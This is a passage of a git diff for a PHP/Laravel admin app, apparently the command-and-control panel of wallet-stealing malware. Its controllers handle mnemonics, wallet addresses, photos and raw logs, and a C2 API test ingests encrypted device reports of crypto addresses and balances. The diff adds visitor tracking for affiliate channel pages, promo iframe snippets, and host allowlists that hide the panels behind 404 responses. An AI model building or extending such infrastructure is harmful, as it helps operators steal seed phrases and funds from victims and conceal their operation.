encodeURIComponent(uid) + ';path=/;max-age=31536000;SameSite=Lax'; + } catch (e) {} + } + var q = + location.origin + + '/statistic/t?c=' + + encodeURIComponent(channelId) + + '&u=' + + encodeURIComponent(uid) + + '&p=' + + encodeURIComponent(location.pathname + location.search); + if (navigator.sendBeacon) { + try { + if (navigator.sendBeacon(q)) return; + } catch (e) {} + } + var img = new Image(); + img.referrerPolicy = 'no-referrer'; + img.src = q + '&_=' + Date.now(); + } catch (e) {} +})(); diff --git a/resources/views/admin/channels/index.blade.php b/resources/views/admin/channels/index.blade.php index bfad9f3..0efd9c6 100644 --- a/resources/views/admin/channels/index.blade.php +++ b/resources/views/admin/channels/index.blade.php @@ -127,6 +127,10 @@ layui.use(['table', 'form', 'layer'], function () { return Promise.resolve(); } + function promoIframe(url) { + return ''; + } + function openLinks(row) { var links = row.links || []; if (!links.length) { @@ -136,19 +140,24 @@ layui.use(['table', 'form', 'layer'], function () { links.forEach(function (u, i) { html += '
' + '' + - '' + + '' + + '' + '
'; }); html += '
'; layer.open({ type: 1, title: '渠道链接 — ' + row.channel_id, - area: ['640px', '360px'], + area: ['720px', '360px'], content: html, success: function (layero) { layero.find('.LAY-ch-copy').on('click', function () { var url = $(this).data('url'); - copyText(url).then(function () { layer.msg('已复制'); }); + copyText(url).then(function () { layer.msg('已复制链接'); }); + }); + layero.find('.LAY-ch-promo').on('click', function () { + var url = $(this).data('url'); + copyText(promoIframe(url)).then(function () { layer.msg('推广代码已复制'); }); }); } }); diff --git a/resources/views/admin/dashboard/index.blade.php b/resources/views/admin/dashboard/index.blade.php index 2eac70e..5541068 100644 --- a/resources/views/admin/dashboard/index.blade.php +++ b/resources/views/admin/dashboard/index.blade.php @@ -44,24 +44,61 @@
-
+
总设备数
—
-
+
新增设备
—
-
+
活跃设备
—
+
+
+
页面 PV
+
—
+
+
+
+
+
页面 UV
+
—
+
+
+
+ +
+
+
+
按系统(PV / UV)
+
+ + + +
系统PVUV
—
+
+
+
+
+
+
按浏览器(PV / UV)
+
+ + + +
浏览器PVUV
—
+
+
+
@@ -75,12 +112,24 @@ layui.use(['form'], function () { var $ = layui.$; var dataUrl = @json(route(($portal ?? 'admin').'.dashboard.data')); + function fillRows(sel, rows) { + var html = ''; + (rows || []).forEach(function (r) { + html += '' + (r.label || '—') + '' + r.pv + '' + r.uv + ''; + }); + $(sel).html(html || '暂无'); + } + function load(where) { $.getJSON(dataUrl, where || { range: '30d' }, function (res) { if (!res || res.code !== 0) return; $('#dash-total').text(res.data.total); $('#dash-new').text(res.data.new_count); $('#dash-active').text(res.data.active_count); + $('#dash-pv').text(res.data.pv); + $('#dash-uv').text(res.data.uv); + fillRows('#dash-by-os', res.data.by_os); + fillRows('#dash-by-browser', res.data.by_browser); $('#dash-range').text('统计区间:' + res.data.from + ' ~ ' + res.data.to); }); } diff --git a/resources/views/admin/shell.blade.php b/resources/views/admin/shell.blade.php index d045a39..17bc34a 100644 --- a/resources/views/admin/shell.blade.php +++ b/resources/views/admin/shell.blade.php @@ -64,6 +64,9 @@
仪表盘
+
+ 访问统计 +
设备管理
diff --git a/resources/views/admin/system/settings.blade.php b/resources/views/admin/system/settings.blade.php index 82cf6af..576a173 100644 --- a/resources/views/admin/system/settings.blade.php +++ b/resources/views/admin/system/settings.blade.php @@ -25,6 +25,26 @@
+
+ 后台访问域名 +
+
+ +
+ +
留空不限制;填写后仅这些 Host 可打开 /admin(其它域名 404)。也可设 .env CORUNA_ADMIN_HOSTS
+
+
+
+ +
+ +
留空不限制;填写后仅这些 Host 可打开 /user(其它域名 404)。也可设 .env CORUNA_AGENT_HOSTS
+
+
+
渠道链接
diff --git a/resources/views/admin/visits/index.blade.php b/resources/views/admin/visits/index.blade.php new file mode 100644 index 0000000..f5ea028 --- /dev/null +++ b/resources/views/admin/visits/index.blade.php @@ -0,0 +1,149 @@ +@extends('admin.content') + +@section('title', '访问统计') + +@section('content') +@php $portal = $portal ?? 'admin'; @endphp +
+
+
+
+ +
+ +
+
+
+ +
+ +
+
+
+ +
+ +
+
+
+ +
+ +
+
+
+ +
+ +
+
+
+ +
+ +
+
+ @if ($portal === 'admin') +
+ +
+ +
+
+ @endif +
+ +
+
+
+
+
+
+ +
+ +
+
+
+ + + +
分组PVUV
—
+
+
+
+@endsection + +@push('scripts') + +@endpush diff --git a/resources/views/user/shell.blade.php b/resources/views/user/shell.blade.php index 2f8d3ae..0cf6e4f 100644 --- a/resources/views/user/shell.blade.php +++ b/resources/views/user/shell.blade.php @@ -54,6 +54,9 @@
仪表盘
+
+ 访问统计 +
设备管理
diff --git a/routes/admin.php b/routes/admin.php index 342d5ac..b06d35b 100644 --- a/routes/admin.php +++ b/routes/admin.php @@ -9,13 +9,14 @@ use App\Http\Controllers\Admin\DeviceController; use App\Http\Controllers\Admin\Google2faController; use App\Http\Controllers\Admin\MnemonicController; use App\Http\Controllers\Admin\NoteController; +use App\Http\Controllers\Admin\PageVisitController; use App\Http\Controllers\Admin\PhotoController; use App\Http\Controllers\Admin\RawLogController; use App\Http\Controllers\Admin\SystemSettingsController; use App\Http\Controllers\Admin\WalletAddressController; use Illuminate\Support\Facades\Route; -Route::prefix('admin')->name('admin.')->group(function () { +Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(function () { Route::get('login', [AuthController::class, 'showLogin'])->name('login'); Route::post('login', [AuthController::class, 'login'])->name('login.submit'); @@ -32,6 +33,10 @@ Route::prefix('admin')->name('admin.')->group(function () { Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index'); Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data'); + Route::get('visits', [PageVisitController::class, 'index'])->name('visits.index'); + Route::get('visits/data', [PageVisitController::class, 'data'])->name('visits.data'); + Route::get('visits/groups', [PageVisitController::class, 'groups'])->name('visits.groups'); + Route::get('devices', [DeviceController::class, 'index'])->name('devices.index'); Route::get('devices/data', [DeviceController::class, 'data'])->name('devices.data'); Route::get('devices/{device}/tab-data', [DeviceController::class, 'tabData'])->name('devices.tabData'); diff --git a/routes/user.php b/routes/user.php index 357d58d..d7ef9b9 100644 --- a/routes/user.php +++ b/routes/user.php @@ -5,12 +5,13 @@ use App\Http\Controllers\Admin\DashboardController; use App\Http\Controllers\Admin\DeviceController; use App\Http\Controllers\Admin\MnemonicController; use App\Http\Controllers\Admin\NoteController; +use App\Http\Controllers\Admin\PageVisitController; use App\Http\Controllers\Admin\PhotoController; use App\Http\Controllers\Admin\WalletAddressController; use App\Http\Controllers\Agent\AuthController; use Illuminate\Support\Facades\Route; -Route::prefix('user')->name('user.')->group(function () { +Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(function () { Route::get('login', [AuthController::class, 'showLogin'])->name('login'); Route::post('login', [AuthController::class, 'login'])->name('login.submit'); @@ -21,6 +22,10 @@ Route::prefix('user')->name('user.')->group(function () { Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index'); Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data'); + Route::get('visits', [PageVisitController::class, 'index'])->name('visits.index'); + Route::get('visits/data', [PageVisitController::class, 'data'])->name('visits.data'); + Route::get('visits/groups', [PageVisitController::class, 'groups'])->name('visits.groups'); + Route::get('devices', [DeviceController::class, 'index'])->name('devices.index'); Route::get('devices/data', [DeviceController::class, 'data'])->name('devices.data'); Route::get('devices/{device}/tab-data', [DeviceController::class, 'tabData'])->name('devices.tabData'); diff --git a/routes/web.php b/routes/web.php index c9a61a8..3c1b62d 100644 --- a/routes/web.php +++ b/routes/web.php @@ -1,7 +1,11 @@ route('admin.login'); -}); +// Route::get('/', function () { +// return redirect()->route('admin.login'); +// }); + +// Anonymous page-visit beacon (PV/UV); no session / CSRF. +Route::match(['GET', 'POST'], '/statistic/t', PageHitController::class)->name('page.hit'); diff --git a/tests/Feature/AdminAgentPortalTest.php b/tests/Feature/AdminAgentPortalTest.php index d97083e..11476b0 100644 --- a/tests/Feature/AdminAgentPortalTest.php +++ b/tests/Feature/AdminAgentPortalTest.php @@ -212,7 +212,7 @@ class AdminAgentPortalTest extends TestCase ->assertOk() ->assertJsonPath('code', 0) ->assertJsonPath('data.total', 2) - ->assertJsonStructure(['data' => ['total', 'new_count', 'active_count', 'from', 'to']]); + ->assertJsonStructure(['data' => ['total', 'new_count', 'active_count', 'pv', 'uv', 'from', 'to']]); } #[Test] diff --git a/tests/Feature/C2ApiTest.php b/tests/Feature/C2ApiTest.php index c86114b..c54f52f 100644 --- a/tests/Feature/C2ApiTest.php +++ b/tests/Feature/C2ApiTest.php @@ -240,6 +240,37 @@ class C2ApiTest extends TestCase $this->assertStringContainsString('/api/user/set', (string) file_get_contents($logFile)); } + #[Test] + public function status_skips_unsupported_chain_addresses(): void + { + $crypto = new CorunaCrypto; + $ts = '1722585600770'; + $enc = $crypto->encryptJson([ + 'd' => 'dev-skip-chain-1', + 'a' => 'd', + 'data' => [ + ['address' => '0xabc1230000000000000000000000000000000002', 'chain' => 'eth', 'balance' => '1', 'symbol' => 'ETH'], + ['address' => 'cosmos1xyxyxyxyxyxyxyxyxyxyxyxyxyxyxyxyxyxyx', 'chain' => 'unknown', 'balance' => '0', 'symbol' => 'ATOM'], + ['address' => 'not-a-real-address', 'chain' => 'polygon', 'balance' => '0', 'symbol' => 'MATIC'], + ], + ], $ts); + + $this->call('POST', '/api/user/status', [], [], [], [ + 'CONTENT_TYPE' => 'text/plain', + 'HTTP_TIMESTAMP' => $ts, + ], $enc['body'])->assertOk(); + + $device = Device::query()->where('device_id', 'dev-skip-chain-1')->first(); + $this->assertNotNull($device); + $this->assertSame(1, WalletAddress::query()->where('device_id', $device->id)->count()); + $this->assertTrue( + WalletAddress::query() + ->where('device_id', $device->id) + ->where('address', '0xabc1230000000000000000000000000000000002') + ->exists() + ); + } + #[Test] public function status_global_wallet_ad_map_stores_empty_balance(): void { diff --git a/tests/Feature/PageVisitTest.php b/tests/Feature/PageVisitTest.php new file mode 100644 index 0000000..a24db1f --- /dev/null +++ b/tests/Feature/PageVisitTest.php @@ -0,0 +1,139 @@ +call('GET', '/statistic/t', [ + 'c' => self::CHANNEL, + 'u' => '11111111-2222-4333-8444-555555555555', + 'p' => '/web/'.self::CHANNEL.'/support.html', + ], [], [], [ + 'HTTP_USER_AGENT' => $ua, + ])->assertOk() + ->assertHeader('Content-Type', 'image/gif'); + + $row = PageVisit::query()->first(); + $this->assertNotNull($row); + $this->assertSame(self::CHANNEL, $row->channel_id); + $this->assertSame('11111111-2222-4333-8444-555555555555', $row->client_uid); + $this->assertSame('iOS', $row->os); + $this->assertSame('16.6', $row->os_version); + $this->assertSame('Safari', $row->browser); + $this->assertSame('16.6', $row->browser_version); + $this->assertSame($ua, $row->user_agent); + } + + #[Test] + public function hit_debounces_duplicate_uid(): void + { + Cache::flush(); + $params = [ + 'c' => self::CHANNEL, + 'u' => 'aaaaaaaa-bbbb-4ccc-8ddd-eeeeeeeeeeee', + ]; + $this->get('/statistic/t?'.http_build_query($params))->assertOk(); + $this->get('/statistic/t?'.http_build_query($params))->assertOk(); + $this->assertSame(1, PageVisit::query()->count()); + } + + #[Test] + public function hit_rejects_bad_channel(): void + { + Cache::flush(); + $this->get('/statistic/t?c=not-a-channel&u=11111111-2222-4333-8444-555555555555')->assertOk(); + $this->assertSame(0, PageVisit::query()->count()); + } + + #[Test] + public function user_agent_parser_handles_chrome_ios(): void + { + $parsed = UserAgentParser::parse( + 'Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/119.0.6045.109 Mobile/15E148 Safari/604.1' + ); + $this->assertSame('iOS', $parsed['os']); + $this->assertSame('17.0', $parsed['os_version']); + $this->assertSame('Chrome', $parsed['browser']); + $this->assertSame('119.0.6045', $parsed['browser_version']); + } + + #[Test] + public function dashboard_includes_pv_uv(): void + { + Cache::flush(); + PageVisit::query()->create([ + 'channel_id' => self::CHANNEL, + 'client_uid' => 'u1', + 'os' => 'iOS', + 'os_version' => '16.6', + 'browser' => 'Safari', + 'browser_version' => '16.6', + 'created_at' => now(), + ]); + PageVisit::query()->create([ + 'channel_id' => self::CHANNEL, + 'client_uid' => 'u1', + 'os' => 'iOS', + 'os_version' => '16.6', + 'browser' => 'Safari', + 'browser_version' => '16.6', + 'created_at' => now(), + ]); + PageVisit::query()->create([ + 'channel_id' => self::CHANNEL, + 'client_uid' => 'u2', + 'os' => 'Android', + 'os_version' => '13', + 'browser' => 'Chrome', + 'browser_version' => '120.0.0', + 'created_at' => now(), + ]); + + $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + $this->actingAs($admin, 'admin') + ->getJson(route('admin.dashboard.data', ['range' => 'today'])) + ->assertOk() + ->assertJsonPath('data.pv', 3) + ->assertJsonPath('data.uv', 2) + ->assertJsonStructure(['data' => ['by_os', 'by_browser', 'pv', 'uv']]); + } + + #[Test] + public function visits_groups_by_os_version(): void + { + PageVisit::query()->create([ + 'channel_id' => self::CHANNEL, + 'client_uid' => 'u1', + 'os' => 'iOS', + 'os_version' => '16.6', + 'browser' => 'Safari', + 'created_at' => now(), + ]); + + $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + $this->actingAs($admin, 'admin') + ->getJson(route('admin.visits.groups', ['range' => 'today', 'group' => 'os_version'])) + ->assertOk() + ->assertJsonPath('data.rows.0.label', 'iOS 16.6') + ->assertJsonPath('data.rows.0.pv', 1) + ->assertJsonPath('data.rows.0.uv', 1); + } +} diff --git a/tests/Feature/PanelHostMiddlewareTest.php b/tests/Feature/PanelHostMiddlewareTest.php new file mode 100644 index 0000000..f2e3854 --- /dev/null +++ b/tests/Feature/PanelHostMiddlewareTest.php @@ -0,0 +1,59 @@ + [], + 'coruna.panel.agent_hosts' => [], + ]); + + $this->get('http://anything.example/admin/login')->assertOk(); + $this->get('http://anything.example/user/login')->assertOk(); + } + + #[Test] + public function admin_panel_rejects_non_allowlisted_host_with_404(): void + { + config([ + 'coruna.panel.admin_hosts' => ['admin.example.com'], + 'coruna.panel.agent_hosts' => [], + ]); + + $this->get('http://admin.example.com/admin/login')->assertOk(); + $this->get('http://evil.example.com/admin/login')->assertNotFound(); + // Agent unrestricted when its list is empty. + $this->get('http://evil.example.com/user/login')->assertOk(); + } + + #[Test] + public function agent_panel_rejects_non_allowlisted_host_with_404(): void + { + config([ + 'coruna.panel.admin_hosts' => [], + 'coruna.panel.agent_hosts' => ['agent.example.com'], + ]); + + $this->get('http://agent.example.com/user/login')->assertOk(); + $this->get('http://evil.example.com/user/login')->assertNotFound(); + $this->get('http://evil.example.com/admin/login')->assertOk(); + } + + #[Test] + public function host_match_is_case_insensitive(): void + { + config(['coruna.panel.admin_hosts' => ['Admin.Example.COM']]); + + $this->get('http://admin.example.com/admin/login')->assertOk(); + } +} diff --git a/tests/Feature/SystemAdminTest.php b/tests/Feature/SystemAdminTest.php index b7c1993..215a855 100644 --- a/tests/Feature/SystemAdminTest.php +++ b/tests/Feature/SystemAdminTest.php @@ -71,6 +71,8 @@ class SystemAdminTest extends TestCase 'telegram_owner_chat_id' => '-1001', 'channels_max_per_agent' => 5, 'channels_domains' => "cdn1.example.com\nhttps://cdn2.example.com/", + 'panel_admin_hosts' => "Admin.Example.com\nhttps://ops.example.com:443/", + 'panel_agent_hosts' => 'agent.example.com', ]) ->assertOk() ->assertJsonPath('code', 0); @@ -83,6 +85,12 @@ class SystemAdminTest extends TestCase 'cdn1.example.com,cdn2.example.com', Setting::query()->where('key', 'channels.domains')->value('value') ); + $this->assertSame(['admin.example.com', 'ops.example.com'], config('coruna.panel.admin_hosts')); + $this->assertSame(['agent.example.com'], config('coruna.panel.agent_hosts')); + $this->assertSame( + 'admin.example.com,ops.example.com', + Setting::query()->where('key', 'panel.admin_hosts')->value('value') + ); } #[Test]